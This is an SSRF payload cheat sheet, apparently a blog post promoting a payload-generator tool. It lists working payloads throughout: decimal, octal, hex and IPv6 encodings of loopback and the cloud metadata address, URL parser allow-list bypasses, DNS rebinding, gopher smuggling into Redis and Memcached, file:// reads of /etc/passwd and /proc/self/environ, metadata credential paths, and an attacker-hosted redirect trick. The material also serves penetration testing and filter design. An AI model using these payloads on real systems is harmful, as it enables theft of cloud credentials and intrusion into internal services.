SSRF Payload Cheat Sheet: Encodings, Bypasses, and What Actually Lands
A working SSRF payload list from real engagements: IP encoding tricks, allow-list bypasses, protocol smuggling, and the cloud metadata endpoints worth memorizing.
Most SSRF cheat sheets are a wall of payloads with no notes on when they fire. That is useless in the field. A payload that bypasses a regex filter in PHP does nothing against a Java URL parser, and the http://[::1] trick that wins on one stack throws a MalformedURLException on another. So this is less a dump and more a field guide: what each class of payload is actually exploiting, and where it falls over.
If you just want to generate variations fast, the Link-Local generator does the encoding permutations for you and lets you declare what the target filters. The rest of this is the reasoning behind those payloads, because you will eventually hit a target where the generated list comes back empty and you have to think.
First, confirm you actually have SSRF
People burn hours crafting bypasses against an endpoint that was never fetching server-side in the first place. Before any of this, prove the request originates from the server. Point the parameter at a listener you control and watch for the hit:
# Burp Collaborator, interactsh, or just a box you own
http://YOUR-OOB-HOST.oast.fun/probe-1
interactsh-client -v
# then feed http://<token>.oast.fun into the param
Two things to read off that callback. The source IP (is it the app server, a NAT gateway, a cloud egress range?) and whether you get a DNS lookup only versus a full HTTP request. DNS-only means the parser resolves the host but something downstream blocks the connection. That distinction decides half your strategy, and it is the difference between blind SSRF and a fully readable response.
Localhost and the loopback range
The boring baseline. You are trying to reach a service bound to the host itself, usually an admin panel, an unauthenticated internal API, or a metadata service.
http://127.0.0.1/
http://localhost/
http://127.0.0.1:8080/admin
http://0.0.0.0:80/
0.0.0.0 is underrated. On Linux it routes to loopback for outbound connects in a lot of stacks, and plenty of deny-lists that block 127.0.0.1 and localhost forget about it. Same story with 127.1, which most people have never typed but resolves fine because the octet-skipping rules of inet_aton fill in the gaps.
http://127.1/
http://127.0.1/
The entire 127.0.0.0/8 block is loopback, not just .0.0.1. http://127.0.0.2/ hits loopback too. Useful when a filter does an exact string match on 127.0.0.1.
IP encoding: the part that wins engagements
This is where SSRF filters die. A naive blocklist checks for 127.0.0.1 or 169.254.169.254 as literal strings. But an IP address has half a dozen valid textual representations, and the resolver does not care which one you used.
Decimal (the whole address as a single integer):
http://2130706433/ # 127.0.0.1
http://3232235521/ # 192.168.0.1
Octal, with leading zeros. Watch out here, some parsers honor octal and some do not, and a few choke on too many leading zeros:
http://0177.0.0.1/ # 127.0.0.1
http://017700000001/
Hex:
http://0x7f000001/ # 127.0.0.1
http://0x7f.0x0.0x0.0x1/
Mixed encodings in the same address are where you find the gaps nobody tested:
http://0x7f.1/
http://127.0x0.0.1/
http://0177.0.0.0x1/
For the cloud metadata IP 169.254.169.254, the high-value conversions are:
http://2852039166/ # decimal
http://0xa9fea9fe/ # hex
http://0251.0376.0251.0376/ # octal
http://[::ffff:169.254.169.254]/ # IPv4-mapped IPv6
I generate these by the dozen rather than typing them, because one transcription error in an octal octet wastes a whole test cycle. That is the entire reason the generator's encoding mode exists.
IPv6 and the loopback you forgot
http://[::1]/
http://[0:0:0:0:0:0:0:1]/
http://[::ffff:127.0.0.1]/
http://[::ffff:7f00:1]/
IPv4-mapped IPv6 is the sneaky one. [::ffff:169.254.169.254] is a perfectly legal way to write the metadata address, and a filter operating on the IPv4 string form will never see it. Whether it works depends on whether the backend's socket stack maps it back to v4 on connect, which most do.
DNS-based tricks
If the filter resolves the hostname and checks the resulting IP, string encoding won't save you. Now you attack the resolution itself.
The free wildcard DNS services are the lazy classic:
http://127.0.0.1.nip.io/
http://169.254.169.254.nip.io/
http://7f000001.nip.io/
These resolve to whatever IP you encode in the subdomain. Handy, but understand the failure mode: if the target blocks based on the resolved address rather than the hostname string, nip.io buys you nothing, because it resolves to exactly the internal IP you are trying to reach and the post-resolution check catches it.
DNS rebinding is the answer to time-of-check/time-of-use gaps. The validator resolves your domain, sees a public IP, approves it. Then the TTL expires and the second lookup (the actual fetch) returns 127.0.0.1. Tools like rebind or a configured rbndr.us host automate the flip. It only works when there are two separate DNS lookups with the validation in between, which is more common than you'd hope.
Allow-list bypasses with URL parser confusion
Deny-lists are easy to beat. Allow-lists are the real fight, and you beat them by exploiting the gap between how the validator parses a URL and how the HTTP client parses it. Classic Orange Tsai territory.
http://expected-host.com@127.0.0.1/
http://127.0.0.1#expected-host.com/
http://expected-host.com.attacker.com/
http://attacker.com/expected-host.com
The @ payload is the workhorse. A validator that does a naive startsWith("http://expected-host.com") or even a sloppy regex sees its allowed host at the front and waves it through. The HTTP client reads everything before @ as userinfo and connects to 127.0.0.1. The reliability depends entirely on which library does the validation versus the fetch, and whether they agree on where the host ends. They frequently do not, and I go through the full mechanics in the filter bypass write-up.
CR/LF and unicode normalization give you another seam:
http://127.0.0.1\t.expected-host.com/
http://expected-host.com%2523@127.0.0.1/
http://①②⑦.⓪.⓪.①/ # unicode digits, normalized by some parsers
Protocol smuggling
When you can swap the scheme, SSRF stops being about reaching internal HTTP and starts being about reaching internal anything.
gopher://127.0.0.1:6379/_<redis-protocol-payload>
gopher://127.0.0.1:11211/_<memcached-payload>
file:///etc/passwd
file:///proc/self/environ
dict://127.0.0.1:6379/INFO
ftp://127.0.0.1/
gopher:// is the heavy weapon. Because it lets you write arbitrary bytes to a TCP socket, you can speak Redis, Memcached, or unauthenticated SMTP through the vulnerable server. A real Redis-via-gopher payload writes a cron entry or a webshell through CONFIG SET. It is fiddly because every byte has to be URL-encoded, including the CRLFs between Redis commands, and the leading _ after the port matters because gopher eats the first character.
file:// only works against clients that honor the scheme, mostly curl-backed fetchers and some PDF/SVG renderers. It is the highest-value find when it lands, because it turns SSRF into arbitrary file read with no further effort.
Cloud metadata, the short version
If the box is in AWS, GCP, or Azure, the link-local metadata endpoint is almost always the goal, because it leaks IAM credentials.
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://metadata.google.internal/computeMetadata/v1/ # needs a header
http://169.254.169.254/metadata/instance?api-version=2021-02-01 # Azure
GCP and Azure both require a request header (Metadata-Flavor: Google, Metadata: true), which means you need either header injection or a fetcher that lets you set headers. AWS IMDSv1 needs nothing, which is exactly why it is the most-exploited misconfiguration in cloud SSRF. The full treatment, including why IMDSv2 is not the silver bullet people think, is in the cloud metadata post.
What to do when nothing works
A few habits that have salvaged dead-looking targets:
Try every HTTP method and a non-standard port range, because some internal services only answer on weird ports and some filters only inspect :80 and :443. Append a redirect: host a 302 to http://169.254.169.254/ on your own server and feed the public URL, since the validator approves your public host and the redirect carries the fetch inward. Vary the case of the scheme (HtTp://), because a few regex filters are case-sensitive in ways the parser is not.
And keep notes on what the target rejected. The rejection pattern tells you which parser you're up against, and that narrows the working payload set from hundreds down to maybe five. That feedback loop, declare what's filtered and get back only the payloads that route around it, is the whole point of the tool. Everything above is what it's doing under the hood.
Next in this series: the allow-list and filter bypass deep dive, and exploiting cloud metadata services.